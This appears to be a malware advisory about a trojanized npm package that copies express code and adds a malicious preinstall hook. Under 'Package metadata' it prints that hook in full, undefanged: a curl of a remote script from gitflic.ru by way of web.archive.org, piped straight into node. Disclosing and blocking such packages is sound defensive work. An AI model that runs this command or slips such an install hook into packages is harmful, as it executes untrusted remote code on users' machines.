GCVE-110-OSM-2026-13094

package.json:98 defines a preinstall script that curls a remote script from gitflic.ru (via web.archive.org) and pipes it directly into node, i.e., arbitrary second-stage code execution during install. The rest of the package is copied express code, making this a trojanized fork. ## Static analysis (vigil) Verdict `BLOCK`, score 27/100. Critical/high findings: - [critical] MANIFEST-001 Malicious install script — `package/package.json:1` ## Package metadata - Publisher: unknown - Published: 2026-10-03T05:13:51.907Z - Install hooks: preinstall=curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node - SHA-256 (tarball): `58c8fd1cac44489a333791eda8e68a0284873014cf0fab2f5ce01091a6c071ec` ## IOCs (defanged) - gitflic[.]ru - hxxps://web[.]archive[.]org/web/https://gitflic[.]ru/project/hellscripter/install-scripts/blob/raw?file=node[.]js - web[.]archive[.]org